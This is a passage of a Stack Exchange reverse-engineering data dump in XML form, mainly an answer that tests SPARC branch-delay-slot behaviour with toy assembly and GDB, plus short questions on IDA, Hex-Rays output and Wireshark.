%r0&#xA;...&#xA;(%r3)    change %r0&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would it be a good way to mislead a static-analyzer ? Or, is there a way to have an easy computation to guess what it is doing ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-30T15:36:33.467" LastActivityDate="2013-04-30T15:36:33.467" Title="On SPARC, what happens when a branch is placed in the branch-delay slot of another branch?" Tags="|obfuscation|binary-analysis|sparc|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1963" PostTypeId="2" ParentId="1962" CreationDate="2013-04-29T18:43:43.880" Score="8" Body="&lt;p&gt;&lt;strong&gt;I edited the whole example a little so that it would better match the question.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My SPARC assembly fu is weak, but what I did was write a little &quot;Hello world&quot; with a twist (or one could say with jumps/&lt;code&gt;goto&lt;/code&gt;s) in C and use &lt;code&gt;gcc -S&lt;/code&gt; to translate it to assembly. I have a SPARC on which I am running it, details:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ isainfo -v&#xA;64-bit sparcv9 applications&#xA;        vis2 vis&#xA;32-bit sparc applications&#xA;        vis2 vis v8plus div32 mul32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; &lt;code&gt;b&lt;/code&gt; is the same as &lt;code&gt;jmp&lt;/code&gt;, it's just a different mnemonic for the same thing, really. One takes an immediate value (&lt;code&gt;b&lt;/code&gt;), the other a register (&lt;code&gt;jmp&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that what &lt;a href=&quot;http://en.wikibooks.org/wiki/SPARC_Assembly/SPARC_Details#Delayed_Branch&quot; rel=&quot;nofollow noreferrer&quot;&gt;the link&lt;/a&gt; you gave is true for GCC:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice that the last instruction executes before the jump takes place,&#xA;  not after the subroutine returns. This first instruction after a jump&#xA;  is called a delay slot. It is common practice to fill the delay slot&#xA;  with a special operation that performs no task, called a no-operation,&#xA;  or &lt;code&gt;nop&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;Real life test&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I reckon we need to do this with and without debugger, because it's not clear whether it might behave differently under a debugger. So the code should output something readable so we can see what kind of effect our tinkering has ;)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;C code&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int foo(int argc)&#xA;{&#xA;        switch(argc)&#xA;        {&#xA;        case 0:&#xA;        case 1:&#xA;                goto a1;&#xA;        case 2:&#xA;                return 3;&#xA;        case 4:&#xA;                goto a2;&#xA;        case 5:&#xA;                return -1;&#xA;        default:&#xA;                goto a4;&#xA;        }&#xA;a1:     return 1;&#xA;a2:     return 2;&#xA;a4:     return 4;&#xA;}&#xA;&#xA;int main(int argc, char** argv)&#xA;{&#xA;        printf(&quot;Hello world: %i\n&quot;, foo(argc));&#xA;        return foo(argc);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me plenty of branch instructions to play around with the idea raised in the question.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Assembly created by &lt;code&gt;gcc -S&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's the assembly before I tinkered with it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        .file   &quot;test.c&quot;&#xA;        .section        &quot;.text&quot;&#xA;        .align 4&#xA;        .global foo&#xA;        .type   foo, #function&#xA;        .proc   04&#xA;foo:&#xA;        !#PROLOGUE# 0&#xA;        save    %sp, -120, %sp&#xA;        !#PROLOGUE# 1&#xA;        st      %i0, [%fp+68]&#xA;        ld      [%fp+68], %g1&#xA;        cmp     %g1, 5&#xA;        bgu     .LL11&#xA;        nop&#xA;        ld      [%fp+68], %g1&#xA;        sll     %g1, 2, %i5&#xA;        sethi   %hi(.LL12), %g1&#xA;        or      %g1, %lo(.LL12), %g1&#xA;        ld      [%i5+%g1], %g1&#xA;        jmp     %g1&#xA;         nop&#xA;.LL6:&#xA;        mov     3, %g1&#xA;        st      %g1, [%fp-20]&#xA;        b       .LL1&#xA;         nop&#xA;.LL9:&#xA;        mov     -1, %g1&#xA;        st      %g1, [%fp-20]&#xA;        b       .LL1&#xA;         nop&#xA;.LL5:&#xA;        mov     1, %g1&#xA;        st      %g1, [%fp-20]&#xA;        b       .LL1&#xA;         nop&#xA;.LL8:&#xA;        mov     2, %g1&#xA;        st      %g1, [%fp-20]&#xA;        b       .LL1&#xA;         nop&#xA;.LL11:&#xA;        mov     4, %g1&#xA;        st      %g1, [%fp-20]&#xA;.LL1:&#xA;        ld      [%fp-20], %i0&#xA;        ret&#xA;        restore&#xA;        .align 4&#xA;        .align 4&#xA;.LL12:&#xA;        .word   .LL5&#xA;        .word   .LL5&#xA;        .word   .LL6&#xA;        .word   .LL11&#xA;        .word   .LL8&#xA;        .word   .LL9&#xA;        .size   foo, .-foo&#xA;        .section        &quot;.rodata&quot;&#xA;        .align 8&#xA;.LLC0:&#xA;        .asciz  &quot;Hello world: %i\n&quot;&#xA;        .section        &quot;.text&quot;&#xA;        .align 4&#xA;        .global main&#xA;        .type   main, #function&#xA;        .proc   04&#xA;main:&#xA;        !#PROLOGUE# 0&#xA;        save    %sp, -112, %sp&#xA;        !#PROLOGUE# 1&#xA;        st      %i0, [%fp+68]&#xA;        st      %i1, [%fp+72]&#xA;        ld      [%fp+68], %o0&#xA;        call    foo, 0&#xA;         nop&#xA;        mov     %o0, %o5&#xA;        sethi   %hi(.LLC0), %g1&#xA;        or      %g1, %lo(.LLC0), %o0&#xA;        mov     %o5, %o1&#xA;        call    printf, 0&#xA;         nop&#xA;        ld      [%fp+68], %o0&#xA;        call    foo, 0&#xA;         nop&#xA;        mov     %o0, %g1&#xA;        mov     %g1, %i0&#xA;        ret&#xA;        restore&#xA;        .size   main, .-main&#xA;        .ident  &quot;GCC: (GNU) 3.4.3 (csl-sol210-3_4-branch+sol_rpath)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll concentrate on modifying the result of &lt;code&gt;foo()&lt;/code&gt;, so I won't repeat all of the assembly code again but instead only bits and pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw: GCC created the extra indentation for the &lt;code&gt;nop&lt;/code&gt; instructions, but it makes it easy to spot them, of course.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Steps to get from C to executable with tinkering involved&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here are the steps to get to the modified program.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use &lt;code&gt;gcc -S test.c&lt;/code&gt; to get a &lt;code&gt;test.s&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;modify the &lt;code&gt;test.s&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Assemble it with &lt;code&gt;gas -o test.o test.s&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Link with GCC using &lt;code&gt;gcc -o test test.o&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Modifications to the assembly code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First, I felt compelled to &quot;optimize&quot; the instructions in &lt;code&gt;LL6&lt;/code&gt;, &lt;code&gt;LL9&lt;/code&gt;, &lt;code&gt;LL5&lt;/code&gt;, &lt;code&gt;LL8&lt;/code&gt;, &lt;code&gt;LL11&lt;/code&gt; and &lt;code&gt;LL1&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.LL6:&#xA;        mov     3, %i0&#xA;        b       .LL1&#xA;         nop&#xA;.LL9:&#xA;        mov     -1, %i0&#xA;        b       .LL1&#xA;         nop&#xA;.LL5:&#xA;        mov     1, %i0&#xA;        b       .LL1&#xA;         nop&#xA;.LL8:&#xA;        mov     2, %i0&#xA;        b       .LL1&#xA;         nop&#xA;.LL11:&#xA;        mov     4, %i0&#xA;.LL1:&#xA;        ret&#xA;        restore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should be clear that if your colleague is right, we should be able to substitute the &lt;code&gt;nop&lt;/code&gt; instructions for a &lt;code&gt;mov ..., %i0&lt;/code&gt; to see something other than the expected value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I called my modified assembly file &lt;code&gt;modified.s&lt;/code&gt; so as to not confuse myself ;)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Verifying my &quot;optimizations&quot;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;First test is with my &quot;optimizations only&quot;. I wrote a little test script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env bash&#xA;for i in optimized test; do&#xA;        echo -n &quot;$i: &quot;; ./$i&#xA;        echo -n &quot;$i: &quot;; ./$i a1&#xA;        echo -n &quot;$i: &quot;; ./$i a1 a2&#xA;        echo -n &quot;$i: &quot;; ./$i a1 a2 a3&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The binaries are called &lt;code&gt;optimized&lt;/code&gt; (my &quot;optimizations&quot; from above) and &lt;code&gt;test&lt;/code&gt; (plain assembly created by GCC from C code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Results:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./runtest&#xA;optimized: Hello world: 1&#xA;optimized: Hello world: 3&#xA;optimized: Hello world: 4&#xA;optimized: Hello world: 2&#xA;test: Hello world: 1&#xA;test: Hello world: 3&#xA;test: Hello world: 4&#xA;test: Hello world: 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my &quot;optimizations&quot; seem to be just fine. Now let's tinker a little.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Tinkering with the instructions which modify the program counter&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The claim is that anything past a &lt;code&gt;jmp&lt;/code&gt; (i.e. &lt;code&gt;b&lt;/code&gt;) will get executed &lt;em&gt;before&lt;/em&gt; the jump itself. We have several labels with jumps, so let's replace the &lt;code&gt;nop&lt;/code&gt; in each with something that changes the value inside &lt;code&gt;%i0&lt;/code&gt; and thus the return value of &lt;code&gt;foo()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The changes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.LL6:&#xA;        mov     3, %i0&#xA;        b       .LL1&#xA;        mov     30, %i0&#xA;.LL9:&#xA;        mov     -1, %i0&#xA;        b       .LL1&#xA;        mov     42, %i0&#xA;.LL5:&#xA;        mov     1, %i0&#xA;        b       .LL1&#xA;        mov     10, %i0&#xA;.LL8:&#xA;        mov     2, %i0&#xA;        b       .LL1&#xA;        mov     20, %i0&#xA;.LL11:&#xA;        mov     4, %i0&#xA;.LL1:&#xA;        ret&#xA;        restore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So except for return code &lt;code&gt;-1&lt;/code&gt; (which becomes &lt;code&gt;42&lt;/code&gt;) and &lt;code&gt;4&lt;/code&gt; (which stays the same) everything should now return the original value times ten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's see the results (I added &lt;code&gt;modified&lt;/code&gt; to the list of items in my &lt;code&gt;for&lt;/code&gt; loop):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./runtest&#xA;optimized: Hello world: 1&#xA;optimized: Hello world: 3&#xA;optimized: Hello world: 4&#xA;optimized: Hello world: 2&#xA;test: Hello world: 1&#xA;test: Hello world: 3&#xA;test: Hello world: 4&#xA;test: Hello world: 2&#xA;modified: Hello world: 10&#xA;modified: Hello world: 30&#xA;modified: Hello world: 4&#xA;modified: Hello world: 20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;A change that is as close to your example as I can get it&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        mov     39, %i0&#xA;        jmp     %g1&#xA;        b       .LL11&#xA;        b       .LL1&#xA;.LL6:&#xA;        mov     37, %i0&#xA;        b       .LL1&#xA;        mov     30, %i0&#xA;[...]&#xA;.LL11:&#xA;        mov     4, %i0&#xA;.LL1:&#xA;        ret&#xA;        restore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Amending the test script, here's the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./runtest&#xA;optimized: Hello world: 1&#xA;optimized: Hello world: 3&#xA;optimized: Hello world: 4&#xA;optimized: Hello world: 2&#xA;test: Hello world: 1&#xA;test: Hello world: 3&#xA;test: Hello world: 4&#xA;test: Hello world: 2&#xA;modified: Hello world: 10&#xA;modified: Hello world: 30&#xA;modified: Hello world: 4&#xA;modified: Hello world: 20&#xA;question: Hello world: 4&#xA;question: Hello world: 4&#xA;question: Hello world: 4&#xA;question: Hello world: 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Baffling!&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Result&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can play tricks on the reverse engineer's mind with this - no doubt. I learned something new and that alone was worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the situation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp     %g1&#xA;b       .LL11 ; &amp;lt;-- this is the branch taken&#xA;b       .LL1&#xA;mov     37, %i0 ; &amp;lt;-- but this gets executed first (at least in GDB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I don't know whether this is true for all SPARC machines, but certainly for the one I was using for my tests (specs at the top)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Conclusion&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Yes, this can certainly be used to trick the unwitting reverse engineer and perhaps the disassembler (static analysis tool). It's basically an opaque predicate. I.e. the outcome is clear at compile time, but it looks like it's dynamic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's difficult to see how good different disassemblers cope, given that I only have IDA Pro and &lt;code&gt;objdump&lt;/code&gt; available here. My educated guess would be that they cope the same as with other &lt;a href=&quot;http://en.wikipedia.org/wiki/Opaque_predicate&quot; rel=&quot;nofollow noreferrer&quot;&gt;opaque predicates&lt;/a&gt;, i.e. sometimes they'll get fooled, sometimes they'll be surprisingly smart. So whether or not this is a suitable obfuscation method remains unsolved.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Bonus information&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As opposed to prior to the edit, IDA seems to be mildly confused by the new code, watch this graph view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Ybgl.png&quot; alt=&quot;IDA slightly confused&quot;&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jDzvg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;click here for full size image&lt;/a&gt; (&lt;a href=&quot;https://i.stack.imgur.com/jDzvg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;previous version&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Little GDB session&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x106CC&lt;/code&gt; is the &lt;code&gt;mov 39, %i0&lt;/code&gt; instruction, found via IDA.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb -q ./question&#xA;(no debugging symbols found)&#xA;(gdb) b *0x106CC&#xA;Breakpoint 1 at 0x106cc&#xA;(gdb) run a1&#xA;Starting program: /export/home/builder/test/question a1&#xA;[New LWP 1]&#xA;[New LWP 2]&#xA;[LWP 2 exited]&#xA;[New LWP 2]&#xA;(no debugging symbols found)&#xA;(no debugging symbols found)&#xA;&#xA;Breakpoint 1, 0x000106cc in foo ()&#xA;(gdb) disp/i $pc&#xA;1: x/i $pc&#xA;0x106cc &amp;lt;foo+44&amp;gt;:       mov  0x27, %i0&#xA;(gdb) si&#xA;0x000106d0 in foo ()&#xA;1: x/i $pc&#xA;0x106d0 &amp;lt;foo+48&amp;gt;:       jmp  %g1&#xA;0x106d4 &amp;lt;foo+52&amp;gt;:       b  0x1070c &amp;lt;foo+108&amp;gt;&#xA;0x106d8 &amp;lt;foo+56&amp;gt;:       b  0x10710 &amp;lt;foo+112&amp;gt;&#xA;0x106dc &amp;lt;foo+60&amp;gt;:       mov  0x25, %i0&#xA;(gdb)&#xA;0x000106d4 in foo ()&#xA;1: x/i $pc&#xA;0x106d4 &amp;lt;foo+52&amp;gt;:       b  0x1070c &amp;lt;foo+108&amp;gt;&#xA;0x106d8 &amp;lt;foo+56&amp;gt;:       b  0x10710 &amp;lt;foo+112&amp;gt;&#xA;0x106dc &amp;lt;foo+60&amp;gt;:       mov  0x25, %i0&#xA;(gdb)&#xA;0x000106dc in foo ()&#xA;1: x/i $pc&#xA;0x106dc &amp;lt;foo+60&amp;gt;:       mov  0x25, %i0&#xA;(gdb)&#xA;0x0001070c in foo ()&#xA;1: x/i $pc&#xA;0x1070c &amp;lt;foo+108&amp;gt;:      mov  4, %i0&#xA;(gdb)&#xA;0x00010710 in foo ()&#xA;1: x/i $pc&#xA;0x10710 &amp;lt;foo+112&amp;gt;:      ret&#xA;0x10714 &amp;lt;foo+116&amp;gt;:      restore&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So according to GDB we are executing the &lt;code&gt;mov 37, %i0&lt;/code&gt; before the branching. This seems to suggest to me that even when you chain multiple branch instructions, the first thing to be executed is whatever comes after the last one in the chain.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="53" LastEditDate="2013-04-30T07:37:50.190" LastActivityDate="2013-04-30T07:37:50.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1964" PostTypeId="2" ParentId="1952" CreationDate="2013-04-29T18:53:31.267" Score="1" Body="&lt;p&gt;You've seen &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot; rel=&quot;nofollow&quot;&gt;CFF Explorer&lt;/a&gt;, right? It is a free PE Editor/viewer by Daniel Pistelli (the author of the IDA 6.x Qt GUI) that breaks out a PE file by field. This is not a vector graphic display like you are asking for, but it may serve the same need.&lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2013-04-29T18:53:31.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1965" PostTypeId="1" AcceptedAnswerId="1969" CreationDate="2013-04-29T18:57:17.257" Score="6" ViewCount="3644" Body="&lt;p&gt;I have an android application that uses a shared library which I would like to step through with a debugger.  I've had success using IDA 6.3 to debug executables with the &lt;code&gt;android_server&lt;/code&gt; debug server included with IDA but haven't gotten it to work with shared objects yet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a specific example, suppose I have the following Java code (This comes from the hellojni example in the Android NDK):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System.loadLibrary(&quot;hello-jni&quot;);&#xA;tv.setText( stringFromJNI() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the JNI C code as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jstring&#xA;Java_com_example_hellojni_HelloJni_stringFromJNI( JNIEnv* env, jobject thiz )&#xA;{&#xA;        return (*env)-&amp;gt;NewStringUTF(env, &quot;Hello from JNI !&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the java code is run only when the application starts up, how can I break in the function &lt;code&gt;Java_com_example_hellojni_HelloJni_stringFromJNI&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2014-02-09T10:09:02.370" Title="How to break on an Android JNI function with IDA Pro Debugger" Tags="|ida|android|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1967" PostTypeId="1" CreationDate="2013-04-30T12:50:55.150" Score="7" ViewCount="4907" Body="&lt;p&gt;I need help to compile Pseudo-C code generated with IDA Pro and the Hex-Rays decompiler plugin. It shows an error on this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int (__thiscall *off_401F14)(void *, char); // weak&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error C2143: syntax error : missing ')' before '*'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see any error on that line. What's wrong?&lt;/p&gt;&#xA;" OwnerUserId="1898" LastEditorUserId="245" LastEditDate="2013-04-30T14:55:20.943" LastActivityDate="2013-05-18T14:09:30.940" Title="How to compile Hex-Rays decompiler generated code?" Tags="|decompilation|ida|compilers|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1968" PostTypeId="2" ParentId="1967" CreationDate="2013-04-30T13:29:33.767" Score="6" Body="&lt;p&gt;The following code compiles just fine for me as a &lt;code&gt;.cpp&lt;/code&gt; file in Visual C++:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int (__thiscall *off_401F14)(void *, char); // weak&#xA;&#xA;int main(int argc, wchar_t* argv[])&#xA;{&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps you placed the function prototype inside of a function by accident or compiled it as C (file extension &lt;code&gt;.c&lt;/code&gt;) file?&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="245" LastEditDate="2013-04-30T14:17:57.873" LastActivityDate="2013-04-30T14:17:57.873" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1969" PostTypeId="2" ParentId="1965" CreationDate="2013-04-30T16:15:56.493" Score="5" Body="&lt;p&gt;There are two options I can see.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start the Dalvik VM manually using &lt;code&gt;app_process&lt;/code&gt;. The command line seems to be something like (see &lt;code&gt;am&lt;/code&gt; script source):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;app_process /system/bin com.android.commands.am.Am start -a &amp;lt;ACTION&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put an endless loop in the beginning of your JNI method, run the app, attach to the new process and skip the loop manually in the debugger.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-30T16:15:56.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1970" PostTypeId="1" AcceptedAnswerId="1987" CreationDate="2013-04-30T19:44:25.337" Score="27" ViewCount="60989" Body="&lt;p&gt;Is it possible to sniff TCP traffic for a specific process using Wireshark, even through a plugin to filter TCP traffic based on process ID?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on Windows 7, but I would like to hear about solution for Linux as well.&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="1654" LastEditDate="2014-05-17T06:48:33.767" LastActivityDate="2023-10-13T15:19:50.117" Title="Sniffing TCP traffic for specific process using Wireshark" Tags="|sniffing|wireshark|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1971" PostTypeId="1" AcceptedAnswerId="2004" CreationDate="2013-04-30T19:57:56.433" Score="7" ViewCount="4704" Body="&lt;p&gt;I have binary data representing a table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the data when I print it with Python's &lt;a href=&quot;http://docs.python.org/2/library/repr.html#module-repr&quot;&gt;repr()&lt;/a&gt;:&#xA;&lt;code&gt;\xff\xff\x05\x04test\x02A\x05test1@\x04\x03@@\x04\x05@0\x00\x00@\x05\x05test2\x03\x05\x05test1\x06@0\x00\x01@\x00&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the table looks like in the proprietary software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;test&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;kbd&gt;test2&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;br/&gt;&#xA;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/kbd&gt;&lt;kbd&gt;test1&lt;/kbd&gt;&lt;kbd&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp